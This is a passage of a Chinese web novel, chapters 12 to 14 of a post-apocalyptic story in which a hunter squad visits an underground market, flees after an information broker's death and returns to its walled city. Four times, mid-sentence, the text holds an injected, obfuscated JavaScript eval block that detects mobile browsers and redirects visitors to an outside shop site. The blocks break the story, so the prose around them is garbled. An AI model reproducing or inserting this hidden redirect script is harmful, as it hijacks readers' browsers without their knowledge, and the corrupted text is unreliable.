怪物就是怪物,披着人皮也是不同物种。 “小钰,你冷吗?你在发-抖。”荣倩倩端来粥,却发现队友的情况没那么好。 其实她想说的是,你在害怕吗? “没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13233458|139462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有。”连钰的手一热,是小荣握住了她的手。刚摸过热粥的手心暖暖的。 “我喂你吃饭吧。”小荣感受到连钰不再颤-抖后才放心,一勺一勺地吹凉了瘦肉粥才喂进连钰嘴里。 “砰——” 岁月静好时突然一声巨响让连钰差点没被粥呛到。小荣放下碗拍拍她,回头瞪视进来的人。 “队长!” “哎~” 楚明锋像是早知道连钰这个时候该醒了,根本没注意收敛力道,倒是没想到会让人呛到。他不好意思地眨眨眼,小荣气呼呼地转身不理他。 楚明锋尴尬地挠了挠头,只能自己打开箱子。 “咳咳,刚在这儿的交易中心换来的好家伙,回头分给你们。” “这里也有狂欢节,情报贩子们都在外面喝酒,你们要不要……来。” 楚明锋接连找了好几个话题,床上和床边的人都没搭理,他找了个没趣,索性掏出之前给小荣但没用上的匕首摸-摸。 哎,可惜这把匕首,都留痕了。 一碗粥不多,再怎么喂也喝完了。小荣又投喂了一根油条才放过连钰,接着就端着碗出门。 楚明锋转向连钰,发现她保持着同样的姿势,要不是她现在正缠着纱布,他肯定怀疑对面那堵墙长出了点什么,让她这样盯着。 他想了想,把凳子挪到了床边。 “你要说什么。” 连钰无奈开口。她再不说话,队长估计就憋不住了。 “你……你昏迷的时候,是不是见到了什么。” 楚明锋每次跟连钰谈起“不可告人”的事情都压低声音,这下连钰失去了视力,感受耳畔细细的气流,有些不自在地歪了身体。 “你怎么知道。”连钰不奇怪楚明锋知道的比她多,但他是怎么每回都清楚她身上发生的事。 “你忘了我的能力了?风能带来很多消息。” 连钰恍然。她刚醒来的时候确实嘀咕了一句。 这耳朵尖的。 “见到了,但不记得。” “既然不记得,就不要强行回忆。该想起来的时候会想起。”楚明锋倒是一点都不惊讶。 “连钰,这个世界的法则很乱。但是有一点很确定。”楚明锋一点点解开连钰头上的纱布,连钰觉得自己好像不少第一次见他这么正经且温柔地照顾自己。 “不要肆意窥-探,不要引人注意。”纱布解开了一圈,昏黄的灯光朦胧地洒在连钰的眼帘上。 “事以秘成。”最后一圈纱布被解开,连钰缓缓睁开眼,第一眼就看见楚明锋的眼睛。蓝澄澄的,让人宁静。 “好。” 但是,抱歉队长,为了完成任务我还是得偶尔作死^^ 你一定会罩着我的吧! “队长!”小荣一阵风似的进来打破平静,“你送我的匕首怎么不见了!” “谁说送你了,那是情急之下给你用用。” “情急之下也没派上用场啊。” “……但是队长我有用。” 小荣默默回瞪。楚明锋移开视线。 连钰扶额,决定让队伍气氛回归正经。 “我们要去哪里打探消息?” “你懂的,地下城。” 楚明锋俏皮地眨了眨眼睛。 12. 绿日时代(12)妹妹天下第一 嘈杂的音乐和变形的人脸,是连钰对于地下城的第一印象。 这比白茶落还要癫。连钰想。 但其实也有可能在白茶落自己还没机会接触到黑暗的一面,酒馆老板他们纯粹是跟她们两个玩玩。 “帅哥,需要酒水吗?”一位身材火辣的褐肤女人端着几盏色泽瑰丽的酒扭到了楚明锋身旁。 “不用了。” “我可以免费请你一杯,只要你……”没卖出去酒,女人也没恼,反而将手搭在了楚明锋的肩头,一点一点往下滑。 “我可以免费请你一杯,”楚明锋面带笑意挪开她的手,“只要你告诉我安德斯在哪。” “原来是找他的呀。”女人撇了撇嘴,顿时没有了和楚明锋调笑的兴致。 “价格好说。”楚明锋大大方方地从口袋里掏出一小块碎核晶,虽然远比不上之前白茶落里连钰她们和人打赌用的,但买一个常客的下落倒是绰绰有余。 “喏,顺着这条道一直走到底再右拐再往下走,他应该在那。”女人立刻收下了核晶,没了那副不耐烦的样子,但是也没多热情,指完路就去找下一位客人了。 “这位安德斯先生似乎不受欢迎啊。”连钰跟着队长往里走,一路上摩肩擦踵,很是不适应。 “他要是受欢迎了,绝对是刚刚在哪挣了卖命钱。否则,他就是地下城最不受待见的客人……” “哦,他欠钱。”连钰和小荣若有所思,只觉得只有这个理由才说得通。 “答对了,奖励你们等会去和他搭话。” 没劲。 最讨厌和人搭话了。 上回非得和人打赌喝酒才过关。 有没有不说话就能完成任务的方式……连钰内心无奈但已经学会了面无表情迎接人生艰难险阻。 “开个玩笑,你们等会跟着我就好。”楚明锋感受到了周身的怨念气氛,一看两个人都跟霜打了似的,比和风蛇战斗还颓废,只好改口。 三人穿过幽深的走廊,一路上见到了形形色-色的人在地下城放浪形骸,这才算见识到了狂欢节的狂欢意味着什么。 往下的楼梯很窄,只够两个人并肩走。好在他们往下的时候没有人要离开。 “上面的都不算什么。一会儿进去领了面具,记得戴好,别被人看见脸。” 三个人下完楼梯,眼前出现的只是一扇木门。 面具?连钰和荣倩倩对视一眼,仿佛明白了什么。 恐怕地下城的最底层才是重头戏。 “尊敬的客人,请出示徽章。”暗处走出一个一身黑衣配马甲的侍者,态度恭敬但眼神空洞。想必他们要是拿不出所谓的徽章,这位侍者就不会这么礼貌了。 楚明锋拿出了一样东西给侍者看过,侍者打量了一下两个女孩。 “请问她们是您的奴隶吗?” 连钰内心缓缓打出一个问号,想说你礼貌吗,但猜到队长要带她们进去应该只能这样。一向察言观色的她憋住了。 楚明锋点点头,侍者便递给三人面具,罢了不等他们说话就退回到暗处。 连钰和荣倩倩拿到的都是样式简单的白色面具,只要楚明锋的面具黑色带有花纹。 “队长我只能拿到一枚徽章,一会儿进去你们别和其它面具样式不同的客人交流,一切交给我。” 那你之前还说让我们和安德斯搭话……又是逗我们是吧。 连钰内心吐槽,戴上了面具。 一推门,扑面而来的就是一股温热甜腥的气息。门内面积很大,最中-央的是一块圆形擂台,擂台之上两个肌肉遒劲的男人正在对战,连钰只看了一眼就知道这是有些人血腥的爱好。 打擂的人都是为了生计,而一旁下注的不是赌徒,就是梅花落里有些权势的人。无论何时,人类都会找到方式进行内部区分,以践踏别人的尊严和性命为乐。 整个最底层连墙纸都华丽无比,以金线勾勒而成,更不用提这里豪饮泼洒的酒水和供人驱使的奴隶。 连钰以为梅花落会不一样,但没想到,还是一样。 楚明锋似看出了她的不自在,低声说:“别多想,跟紧。” 连钰和小荣肩并肩地跟着队长,一路上忍受旁人窥-探的目光流连在她们的腰腹、胸口处,但旁人显然注意到了两个“奴隶”的“主人”,打量了一下楚明锋的体格,倒是没对她们如何。 正在楚明锋直直走向擂台旁一个体态略胖的男子时,有两位同样戴着纯色面具的男子拦住了他。 “帮忙把这个给你们老板看看,他会见我的。”楚明锋从外套内-侧拿出一个小巧的文件袋,对方接过摸了摸,狐疑地看了楚明锋一眼,倒是没拒绝,拿着文件走了,另一个人则还是守在原地。 坐着的男子接过文件袋,倒是没在意会不会有什么花招,直接打开。打开后就立马将里面的东西连同文件袋揉皱,朝着楚明锋的方向看来。楚明锋见状倒是很自然地挥了挥手。 三人得到允许接近安德斯。走近后连钰发现安德斯不像远距离看时那样高高在上,反倒眯起眼有些弥勒佛的样子。 说实话,她以为安德斯听起来是个落拓不羁的浪子。 “楚队长,别来无恙。” 安德斯虽有肚腩,但整个人拾掇得很精神,给人一种成功人士的感觉。 “这里不是说话的地方。”楚明锋无意和对方打太极,只想着尽快打探到想要的消息。 “别急,”作为被求的一方,安德斯没那么容易被左右,只是点了点台上的战士,“你瞧着,觉得哪个会赢?” “……瘦一点的那个。” “是吗。可是另一个才是我的手下,哎。”安德斯装模作样地叹了口气,连钰敏锐地察觉到他身边的几位奴隶似乎有些紧张。 “这只是我的猜测。” 连钰和荣倩倩也观察了几秒,发现偏瘦的那个确实更有技巧,避开的攻击更多,因而保留了更多力量,而更壮实的那个性格急躁,虽然力量更大,但早早用完,已经开始气喘。 “不如等他们出结果,我们再谈。” 连钰听到后不由思索,明明安德斯之前看见队长递的文件袋还有些慌张,怎么现在气定神闲。 他以为来的人会是别人?队长知道他的“秘密”不会影响他? 楚明锋没有催促,和队员静静地等待。没有几分钟比赛就结束了,如他所料,确实是瘦男人赢了比赛。 “走吧楚队。”安德斯看上去兴致缺缺,对手下做了个手势后就率先离场。 连钰等人跟上,随着对方走过一条曲折的走廊来到一处僻静的角落。 “楚队,我知道你的来意。” 安德斯悠悠然点了一支烟。从见面起,他就一直以“楚队”称呼,却不见多少尊重。连钰不禁想起卖酒女不屑的表情。 安德斯是个情报贩子,关系网广阔,想来地下城有他的熟识,但对于真正的“底层人民”来说,这样的客人可不讨人喜欢。熟人,就会赖账。 真是个老油子。 “既然知道,咱们就开门见山吧。我想请你带我见一见灰兔。” “呵,她?她整天不见人影,哪儿能找着。” “能不能找到,安德斯先生一定比别人先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13233459|139462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道。” “你说的不错,不过我不能保证能立刻安排见面。怎么说,她就算在梅花落,也不是我一声令下就跟来见你。” 安德斯这话乍一听像是捧灰兔,实际上说这话的时候他颇惬意地吐了个烟圈。 难道灰兔在梅花落的影响已大不如前? “无论如何,您肯帮忙就好。”楚明锋不以为意。“之前的文件,就当我送您的。” 安德斯沉默良久,烟头一明一灭。 “可以。等我消息。” 话已至此,楚明锋便告别安德斯,沿着来时路返回上层。 小荣:“队长,咱们有可能在这待的久吧。不做点别的准备?” “不必。很快就会有结果。” …… 这天剩下的时间,楚明锋带着她们四处溜达,还给俩队员都买了小饰品。虽然……连钰对于他的直男审美不敢认同,但是看在队长很有兴致的份上还是学着小荣给了个大大的笑容。 等到标准时间19:00,他们回到了幸运旅馆。连钰正摸着新鲜戴上的吊坠,思索着梦里究竟和那位白大人说了什么。荣倩倩则对着队长送的匕首使劲,似乎想靠瞪视修好它。 楚明锋进来合上门,叮嘱她们戴好吊坠。虽然不知道队长又在犯什么病,但两人还是保证会戴好。 “我来看看。”楚明锋拿过小荣手里的匕首,“不行的话,我找人修……” 话没说完,他停住了。 连钰:? 她从床上歪过来看到底怎么了。 嗯……匕首挺好的啊。 等等,挺好的? 这匕首不是刺风蛇的时候碎了一角吗? 两人意识到了什么,同时望向小荣。 小荣:“我好像,修好它了。” “你现在有没有觉得哪里不舒服?头疼吗,胸口闷不闷?”连钰瞬间打起了精神。 要是小荣也觉醒了,队长说不定就不会瞒着那么多事,她就能早点完成任务……而且,虽然这是个梦境世界,按理说都是假的,但她还是希望眼前鲜活的队友能够拥有更多在末世自保的资本。 “没有。”小荣认真思考了下,摇头。 “不愧是我看好的苗子!”队长月牙儿一样的眼睛愣是快睁成了十五的月亮。 “你拥有的能力应当是金属性的。能修复匕首,之后说不定就能控制敌人身上所有的金属。”连钰开始畅想。 那妹妹岂不是无敌了? 近战强手,还能卸了对面的甲。妹妹求罩! 楚明锋噙着一抹笑意看两个女孩兴奋地讨论。小荣早就猜到了队长和小钰的不寻常,现在自己也获得了能力,之前装作没有的失落这下应该是真的消失了。 然而,楚明锋的笑意渐渐消失。他侧耳聆听,突然脸色大变。 “拿上东西,我们走!” 连钰和荣倩倩两人一惊,但没有多问,迅速背好根本就没怎么动的背包。两人跟着队长在旅馆里左绕右绕,顺着一条小巷离开。 队长一定是借着风声听到了什么。 连钰一边在黑暗的小巷里跟紧队长,一边拼命回忆会是什么能让队长这么果断撤离。 我们来梅花落是为了打探消息,不可能任务一点进度都没有就撤退。现在这样,只可能是,我们没办法继续停留在这。 梅花落对我们生出敌意? 是那个老油子说了什么?不对,他似乎有把柄在队长手里,两人是相互牵制。 “前面的什么人!” 一束灯光打进巷道。 “就是他们!” 13. 绿日时代(13)耍帅是为了跑路 “先走!”楚明锋拉过两个女孩让她们朝着小巷深处跑,“尽头就是我们的车,我们城外见。” 连钰张了张嘴,但想到队长有异能,还是很厉害的风系,殿后应当是有底气的,没有多嘴。 在有人追杀的时候上演苦情剧大概会让队长死得更早。 连钰拉过小荣,两人边跑边扣紧了枪背带。身后狂风大作,强劲的风在狭窄的巷道里刮起呼啸之声,淹没了巷口正要突进的人。 “怎么突然这么大风?”几个人嚷嚷着,只有一个穿黑色夹克的鹰钩鼻男子眼神一凝,似是确认了心中所想。 “你果然……不同寻常。” 他一开口,就让楚明锋不得不皱了眉。无他,这个人的声音太过粗糙沙哑,像砂纸磨过似的,惹得人耳朵不舒服。 “废话少说。都作出栽赃的事儿了,还多嘴干什么?” 楚明锋之前在屋内,恰好在窗户附近,他和其他进化者一样喜欢不自觉启用能力,好在他是风系异能,往往不会惹来副作用。 夜风吹来这伙人说的话,他才知道安德斯竟然在他们走后不久就被人发现暴毙在地下城。 而安德斯死之前最后见的人除了自己的手下就是他们这帮外乡人。 用脚趾头想想也知道,安德斯的手下会怎么编排。 但是楚明锋没想到他们行动会这么迅速,就像是等不及了。 “只能怪你自己伸的手太长。”来者嘴角一弯,拨开周围几个手下,示意他们看好巷口后就朝楚明锋走来。 楚明锋懒得解释。受人之托,总得走这么一遭。正好,他看这些人不爽很久了。狂欢节就是他们搞出来的。末世之下,不寻求怎么反抗,反而矛头对准同胞,只知道欺压弱小。想到前不久他们救下的两个女孩,他拳头就硬了。 两个人眼神交汇,都知道彼此最大的底牌就是异能。 鹰钩鼻男子确实没再多话,只是半蹲身子,两只手掌完全贴合大地。 楚明锋见状眉头一挑,顿感不妙。 地面在一瞬间起伏,楚明锋身后的土地也突突突接连冒出活动的小土包,直追着连钰二人而去。 找死。 楚明锋手心朝下,巷子内的狂风骤停,但在瞬间化为数十个空气弹狠狠砸向冒出的土块。 希望连钰和小荣别真被雕虫小技绊住脚了,不然可别说是他带的猎人。 连钰她们当然不蠢也不弱。地面开始震动时,她们就有所察觉,在土包冒出来的时候敏捷躲避,但是这无疑拖慢了脚步。 连钰心念一动,再睁眼时就进入了“世界慢速”状态,能看清每一颗灰尘后,地面稍有变化就被她纳入眼中。她直接伸手拽过小荣,让对方跟着自己。 两个女孩有惊无险地穿过小巷,看见越野车好端端地停在原地不禁松了口气。 可下一秒,一个影子跳了出来,让她们心跳漏了一拍的同时,更是让人下意识地举起武器。 “什么人!” 正压榨自己异能极限的楚明锋听见风声里小荣模糊的话语,心下一横,直接捏碎了一颗核晶。瞬间空气弹密如看不见的网直冲男子射去,男子侧身躲过,巷口的墙壁擦出一阵灰尘,让他呛咳了两声。 等他躲过空气弹后再转身往巷子看去,楚明锋的身影早已消失。 “风系的就是难办!” 男子狠狠擦了擦脸,知道自己是找不到替罪羊交代了,但是……他转念一想,又勾起一抹冷笑。 安德斯死了,再怎么样也轮到他接手梅花落一部分势力了。 再说,一个情报贩子最擅长的除了挖情报,就是得罪人。楚明锋抓不到,总能有人顶锅。过段时间,就再不会有人记得安德斯,只会记得他。 男子转身唤来几个躲远处的手下,叫他们装装样子搜查就行。 “老大,不追到人的话咱们怎么……” 还没说完,那小弟的头就被捶了。 “不用管,一切有我处理。你们追了也是白追,否则也是搭上自己的命。” 小弟一脸感激的表情,肯定是脑补了老大关爱下属。他不知道,老大只是打不过。 鹰钩鼻男子看向巷子,从鼻子哼了一下才离开。 楚明锋是吗…… 不过又一个早死鬼罢了,他见得多了。 被人在心里编排的楚明锋刚刚赶到车辆处,就看见了两拨熟人对峙。 “呼,先别动手,”他心下一松,“是自己人。” 他甩甩手,指了指暗处的女孩:“幸运旅馆的老板,也是幸福旅馆老板的女儿,刘铭。” 又指了指两个队员:“连钰和荣倩倩,我的队友。” 两人恍然大悟。连钰是因为来世就是躺在床上了,没见过旅馆老板,荣倩倩则是因为来的时候就没见到老板,是楚明锋去后堂喊了一声,她直接搀着连钰休息去了。 “哎呀,都说了是误会。”刘铭从车后走出来,连钰这才看到她的模样。齐耳短发,同样是亚裔长相,笑起来的时候和大娘还真有点像。 连钰想起香喷喷的糍粑,顿时对这姑娘心生好感。 连钰:“抱歉,之前不认识你。不过你在这儿做什么?” 刘铭:“啊,我还没回店里就看见街上有人找你们。想着不对劲,觉得你们会来找车就等在这。” “你和我们一起走。何雁在哪你知道吗?我顺路送你去。”楚明锋打开车门,示意刘铭进车。 “现在就走啊。”刘铭看起来不意外,只是叹了口气就乖乖上车。 四个人坐上车,楚明锋驾车驶出。 “戴上面罩。”楚明锋叮嘱道,连钰和荣倩倩照做。 永昼城虽没有给猎人配备可携带净化设备,但是轻便的面罩倒是有。材质轻盈,绑带在脑后一扣就好。连钰一度怀疑这就是为了干坏事的时候不被看见脸。 出了四七八拐的小道就看见街上有人搜查。连钰和荣倩倩身体紧绷,子弹已经上膛。 奇怪的是,那些人不像之前一样喊打喊杀,检查也不严格。对于驶过的车辆甚至不加多看。 “好了好了,快走!”来检查的人看见几个人戴着面罩也不稀奇,末世里奇怪的人多了,有的势力还以穿着打扮区分自己人。 躺在后座下方的刘铭缩紧了身子。好在这辆越野较高,检查的人只在荣倩倩的副驾驶看了看就挥手让他们离开。 连钰心中有数,知道队长又在她们看不到的地方和人达成什么协议,或者暴力制服了对方。总之,梅花落里要害她们的人 队长真是神奇啊…… 连钰在后座,正好在楚明锋的斜后方。她看了眼楚明锋握着方向盘的手,默然不语。 队长手心有血。 想起自己窥-探天空的代价,她知道队长肯定是超额使用能力了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13233460|139462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 一行人有惊无险地离开梅花落。连钰只觉得这几天就像是末世几日游,明明任务很艰巨,却轻而易举地就离开任务点,在游戏里脱离副本就算是失败了。 不用想也知道肯定是队长在谋划什么。 希望你的计划……能让我完成任务。 拜托了,队长Orz “何雁之前和我提过,她会在梅花落去天山城的路线等我。” 刘铭从后座底下翻出来,回答了楚明锋之前的问题。 等她? 连钰注意到了刘铭的措辞。 队长你是和何老板商量好了? “本来我就要去天山城附近,何雁说可以在路上等我。” 刘铭这话乍一听正常,细细一品都是问题。再加上,连钰察觉到刚刚身旁女孩起身的动作卡顿了一秒,大概是说完话就知道不对劲才找补。 “好,我大概猜到她会走哪条路线。” 楚明锋单手控住方向盘,左手默默伸-进衣兜扯出绷带。绷带都是提前撕好的,不长,一节一节的很方便小伤口包扎。 “队长,我们已经离梅花落有段距离。他们应该不会追上来了,我们换座位吧。” 荣倩倩早就嗅到了一丝血腥味,但之前人仰马翻没顾得上,现在才发现是队长的手又多了几条裂口。之前和风蛇对战时,队长的手就受伤了。 “你不知道路,还是我来。” 连钰无奈,往前探身:“那我帮你包扎吧。”说着就拉过楚明锋的右手。 楚明锋的手心有几道深深的裂口,连带着之前的旧伤绽开,好几处肉都翻出来了,像是从里面裂开。 楚明锋也没抵抗,左手扶着方向盘,手里捏的绷带压着止血。 连钰拿出碘伏棉签细细处理了,包了好几圈才放过他。接着楚明锋乖乖换手给旁边的荣倩倩包扎。一时间车里无话。 包扎完了,楚明锋两只手都搭上方向盘,连钰才发现自己包的右手和小荣包的左手,差距有点大…… 右手的绷带缠了厚厚的几圈,末了还在手背打了个蝴蝶结。左手明显轻便很多,连钰也不知道小荣是怎么系的,但是她只会蝴蝶结…… 她默默缩回去,试图把自己存在感降低。但是楚明锋显然没那么好心。 “你的野外作战课怎么上的,啧啧啧。”楚明锋的右手大拇指不停搓绷带,嫌弃极了。 “……” “回头小荣你教教她。别下次给我整个人都绑上蝴蝶结。” “……”我忍。连钰把自己缩得更小了。 “我先声明,绑上蝴蝶结也不能把队长随便送人。” “我就是故意的,再话多就把你送给何老板跑商去!” 说自己故意为之,总比说不会好。连钰想。但她决定有空了还得让小荣偷偷教教自己。 正提到何老板,一行人力看见远处的一点亮光。 “还好何老板没走远,正好接你。” 刘铭高高兴兴跳下车,给他们挥了挥手致意。何雁从人群中站起来,接住朝她扑来的女孩。 楚明锋远远地朝何雁一点头就算打招呼,接着就开车离开。 他们现在没时间浪费在寒暄上。 楚明锋没怼回来,连钰就没再说话。她恨不得没人看见自己的杰作。 在沉默了许久后,楚明锋突然开口:“回城之前,有件事你们得知道。” 14. 绿日时代(14)嘚瑟大概不会有好下场^^…… 队长一张嘴,连钰还以为他要话接上回,还好不是。 “你们教官应该说过,任务后回城所有人都要做检查。” “嗯。”小荣点头,连钰默默听着。 “那个检查……小荣应该没事,但是连钰你会比较麻烦。如果避免不了,记得每天用通讯器和我联络。” 连钰一怔。 是因为自己窥-探了天空,能力使用过度?自己昏迷的时候腕表显示的污染值大概飙升了。 按照永昼城表现出的尿性,污染值超过一定数值肯定会自动上报。 “那你呢?”连钰瞅了眼自己的杰作。蝴蝶结还挂着呢,队长也是能力使用过度。 “我也会接受检查。” 连钰眉毛一挑,不明白既然如此他们保持联络有什么必要。如果永昼城真的要做什么黑心实验啊,把他们的能力剥夺了,诸如此类非人道主义行为,他们两个都是被关起来的鳖,互相说话能有啥用。 楚明锋通过后视镜瞧见队员的神情,脸一垮:“唉……我知道你在想什么,如果我们真的有什么问题,那就只能靠小荣救了。” 连钰:“?” 小荣:“这么严重吗?检查是为了防止猎人从城外沾染难以察觉的污染物,队长和小钰都没有……吧。” 楚明锋长吁短叹:“我们觉得没有,不一定就没有。新历88年的事件就是个警告。况且……” 他顿了一下,收起了嬉皮笑脸。 “况且,检查不完全是宣称的那样。” 不会真是我想的那样,要在猎人身上做什么惨无人道的实验吧…… 连钰默默抱住弱小无助的自己。 “赵教官退役后一直负责教我们。我记得他就曾经在带我们训练的时候,说自己胸口痛。这是检查的后遗症?”小荣细细想了下,回忆起关于“检查”的信息。 “确实是。” 楚明锋两只手绑的绷带风格大相径庭,夜风一吹蝴蝶结还晃悠。双手受伤还在坚持开车,让连钰看了有点想笑又觉得队长挺敬业。 敬业的队长继续说:“但不止。老赵的症状比较轻,所以在不适应猎人任务强度后还能担任教官一职。” “温室说,猎人做任务无可避免受到污染,就会得污染病。污染病的症状是胸口痛、发热、呓语,听起来和普通感冒发烧没明显区别,可是得了污染病的人也许在某一天就会被宣布牺牲,也许在看似正常的情况下突然异变成城外怪物的模样。” 连钰试探性开口问:“可是这些都是污染病的弊端,和永昼城的检查有什么关系?按照这个逻辑,检查是为了全体猎人乃至城内居民着想。” “不错。可是,以往的污染病病人,都是经历检查后才会成为病人。” ! 连钰一惊,随机又察觉楚明锋现在是装都不装了,他对于永昼城的反感已经摆在明面上了,是因为小队成员全都是进化者的缘故吗? 因为都是进化者,都有被判定为污染病病人的可能。 可是她还有不解。 “队长,我们都知道,其实我已经出现症状了。”她虽然昏迷,可是能记住身体的感觉,当时她应该有发热症状。 “同样的症状,未必就代表你得了劳什子污染病。” 连钰恍然。 得到能力,就一定会有代价。也许进化的同时,身体也在接受改造,污染值的变化不能决定进化者是否真的会异变为怪物。像她这样没有突破极限,现在污染值又恢复正常的,不能算作危险源。 “那么我们回去后接受检查,之后就必须接受‘治疗’。”连钰想,单纯的检查不能对猎人怎么样,后续才是重头戏。 “嗯。大概相当于让高强度版的绿日净化器,净化我们。”楚明锋说话的时候面无表情,却有一瞬间眼皮耷拉,遮住了在设备亮光里熠熠闪烁的海蓝色眼睛。 “净化。”连钰喃喃,陷入沉思。 净化一词听起来未免有些讽刺。永昼城对猎人做的绝对不是纯粹的修复。 进化者的身体已经与常人不同,异能是接受外界污染才得到的馈赠。本就可能千疮百孔的躯体,一旦接受净化,被污染“洗礼”过的身体就像再次被强酸清洗,只会更容易崩毁。 而有赖于污染才更强的异能,会倒退。 连钰越来越好奇永昼城的高层究竟是何人。让人类成为耗材,成为被圈养得毫无抵抗能力的牲畜,又轻而易举地掐灭任何人类突破绝境的希望。 她甚至怀疑,所谓新历88年的灾难,不是天灾,而是人祸。 是因为贪欲?还是别的。 自相残杀在人类历史上上演太多次,可是在关乎集体生存的关头,也会有人为了一己私欲毁了所有人吗? 荣倩倩微微张嘴,却什么都没说。 连钰想,她的心里应该五味杂陈。比起连钰,荣倩倩对于永昼城的感观应该更复杂、更纯粹,却在出了一次任务后完全颠覆。 “你们别担心,有我在。我通过检查后会定期联络你们,要是有任何事情,我可以……我可以联系我在温室的朋友,打听消息。” 小荣没有说他们就此不回城。天地之大,又有哪里比得上家大业大的永昼城。况且一切都不明朗,或许检查和净化不是楚明锋猜想的那样。 而且,她还有重要的人还在城内。队长也没有说不回城,应当也是不够肯定吧。 “你认识在温室工作的人?” 连钰有些惊讶。要知道她刚穿到这个梦境世界,在考核时遇到过爱挑衅原身的训练生。那个谁,叫什么来着,还强调了自己的背景,就是从那开始,她坚定不移地认为温室是整座城最核心的存在。 当然,后来事实也证明的确如此。 “嗯,是我在乐园就认识的朋友,他身体弱但很聪明,所以被选去温室做研究员了。” 小荣说的时候不自觉地带上了一抹笑意,和她平时利落揍人的样子完全不同。 “哦~”连钰拉长了声音,和队长对视了一眼,彼此都有所猜测。 “不是你们想的那样!我们只是很要好的朋友。” 小荣看连钰挤眉弄眼的,队长又一脸了然,连忙解释,可是再解释听起来都很奇怪。 “不必多说。”楚明锋抽空用右手拍拍小荣,蝴蝶结还抖了一下,连钰在后座看着直乐。 “队长帮你抢过来。” “队长别乱说了!” 如果时间能停留在这里就好了,就算是末世,也没什么好怕的了…… 等等,不对。 连钰深呼吸。 我不该这么想。这只是梦境,完成任务后我就要脱离。梦境里的一切或许是独立存在的小世界,但是都不是我来的那个。我要回去,我要自由。 连钰在心里默念数次“我要自由”。 [你愿意的话,在完成一定数量任务后,可以挑选一个喜欢的世界留下。] 留声机像是检测到连钰闪过了什么念头,突然冒出。 [代价是?] [同我契约。你知道的,契约才能保证双方履行诺言。] [……不,我拒绝。]< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13233461|139462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 连钰不信所谓的梦境世界就是让她来感受生活的,要是完成任务后还能自由挑选世界,从此幸福地生活,那梦境是干嘛的。 她从一早就感受到了留声机的恶意。她这样被挑中的人,可不是什么天选之子,在留声机看来就跟电视里的角色没什么区别。 [唉,好吧。你要是同意,随时可以找我。] 留声机假模假样地拉长声音,听起来甚至有一丝诡异。连钰的鸡皮疙瘩都起来了。 她没再和留声机对话,队长和小荣也不知什么时候停了。一行人在不变的夜色下继续前行。 如此过了一天,永昼城冰冷泛着无机质光的城门终于出现在不远处。 城门口有一支小队驻守,在他们前方有一辆车停下,已经有人在接受例行检查。 但这拨人似乎没什么问题,径直上车后开走。 轮到连钰等人时,她也不免有些紧张。本以为回城能稍作休息,队长的一番话让她们都有点提心吊胆。 连钰扫视永昼城的墙体,还是第一次仔细打量这座城。出来时被队长急匆匆塞进车里就跑,还没顾得上观察,谁知道出门就是几日游,这么快就回来了。 整座城看起来很有游戏里的未来感,铁黑色的墙体和银白色的城门相得益彰。 看着就很结实,连钰想。 比梅花落和白茶落都要强百倍,难怪那么多人想进。 可惜,是座围城。 “请出示证件和腕表,报备一下武器损耗。” 城门的值守人员走来,一板一眼地办事。连钰等人按要求出示。 “咦,你们除了子弹消耗,一把匕首略微受损,没有其它消耗了?” “是啊,有我在呢。”楚明锋笑嘻嘻地答,值守人员却没搭理他,把证件往他胸口一贴就走。 啧啧,你这嬉皮笑脸的功夫终于踢到铁板咯。 连钰颇有些幸灾乐祸,要知道她天天被队长推着走、摸头,也是有脾气的。 “您好,我是新来的温室人员。你们的污染值曾出现剧烈波动,麻烦跟我去温室走一趟。” 这熟悉的语气…… 前半截还在装礼貌,后半截特意强调的“跟我走”就包不住说话者的恶意。 连钰转身一看,无语凝噎。 “几日不见,你很惊讶?”李景阳上前自然地递回腕表。 连钰懒得搭理他。 “呵,你可以不说话。不过必须和我走。” “你们认识?”楚明锋上前一步半挡住李景阳盯着连钰的目光。 他其实对这小子有印象。要说连钰身手一般吧,这小子就更差,好歹自己的队员是神射手,他可以说一无是处。在考核的时候还好意思挑衅别人。 “当然,是老相识。” “不认识。” 两人同时开口。 